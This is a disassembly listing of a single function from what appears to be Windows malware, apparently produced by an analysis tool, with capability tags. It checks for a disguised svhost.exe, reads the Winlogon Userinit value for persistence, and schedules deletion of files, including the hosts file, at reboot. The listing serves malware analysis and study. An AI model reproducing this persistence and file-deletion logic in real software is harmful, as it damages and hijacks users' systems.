Function at 0x406050
Capabilities:
Check if file exists
Delete file
Get common file path
Move file
Persist via winlogon helper dll registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x418
lea eax, [esp + 8]
push ebx
push ebp
push esi
mov esi, 0x104
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push esi
push eax
call edi
mov ecx, esi
lea eax, [esp + 0x18]
cmp byte [eax], 0
je 0x40607e
inc eax
dec ecx
jne 0x406073
jmp 0x4060a8
test ecx, ecx
je 0x4060a8
lea edx, [esp + 0x10]
test edx, edx
je 0x406090
mov eax, esi
sub eax, ecx
jmp 0x406094
mov eax, dword [esp + 0x10]
mov ecx, esi
push str._svhost.exe
sub ecx, eax
lea edx, [esp + eax + 0x1c]
push ecx
push edx
call fcn.004062a0
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4060c2
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x418
ret
mov ebx, dword [sym.imp.SHLWAPI.dll_SHGetValueA]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x11c]
push ecx
lea eax, [esp + 0x14]
push edx
push eax
push str.Userinit
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
mov dword [esp + 0x2c], esi
call ebx
test eax, eax
je 0x406100
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x418
ret
lea ecx, [esp + 0x11c]
push str.svhost.exe
push ecx
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x40612f
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x418
ret
mov eax, dword [esp + 0x42c]
test eax, eax
je 0x40628a
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea edx, [esp + 0x1c]
push 0
push edx
call ebp
call fcn.00405ef0
test eax, eax
je 0x4061b2
lea eax, [esp + 0x220]
push esi
push eax
call edi
mov ecx, esi
lea eax, [esp + 0x220]
cmp byte [eax], 0
je 0x406177
inc eax
dec ecx
jne 0x40616c
jmp 0x4061a4
test ecx, ecx
je 0x4061a4
lea edx, [esp + 0x10]
test edx, edx
je 0x406189
mov eax, esi
sub eax, ecx
jmp 0x40618d
mov eax, dword [esp + 0x10]
mov ecx, esi
push str.driversetchosts
sub ecx, eax
lea edx, [esp + eax + 0x224]
push ecx
push edx
call fcn.004062a0
push 4
lea eax, [esp + 0x224]
push 0
push eax
call ebp
push 0
lea ecx, [esp + 0x328]
push 0
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, esi
lea eax, [esp + 0x324]
cmp byte [eax], 0
je 0x4061da
inc eax
dec ecx
jne 0x4061cf
jmp 0x406207
test ecx, ecx
je 0x406207
lea edx, [esp + 0x10]
test edx, edx
je 0x4061ec
mov eax, esi
sub eax, ecx
jmp 0x4061f0
mov eax, dword [esp + 0x10]
mov ecx, esi
push 0x410d34
sub ecx, eax
lea edx, [esp + eax + 0x328]
push ecx
push edx
call fcn.004062a0
push 4
lea eax, [esp + 0x328]
push 0
push eax
call ebp
lea ecx, [esp + 0x14]
lea edx, [esp + 0x11c]
push ecx
lea eax, [esp + 0x14]
push edx
push eax
push str.TypePath
push str.SOFTWARETencentPlatForm_TYPE_LIST1
push 0x80000002
mov dword [esp + 0x2c], esi
call ebx
test eax, eax
jne 0x40628a
cmp dword [esp + 0x10], 1
jne 0x40628a
lea ecx, [esp + 0x11c]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
je 0x40628a
mov edx, 0x410cf4
sub edx, eax
mov cl, byte [edx + eax]
test cl, cl
je 0x406274
mov byte [eax], cl
inc eax
dec esi
jne 0x406265
jmp 0x406278
test esi, esi
jne 0x406279
dec eax
push 4
lea edx, [esp + 0x120]
push 0
push edx
mov byte [eax], 0
call ebp
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x418
ret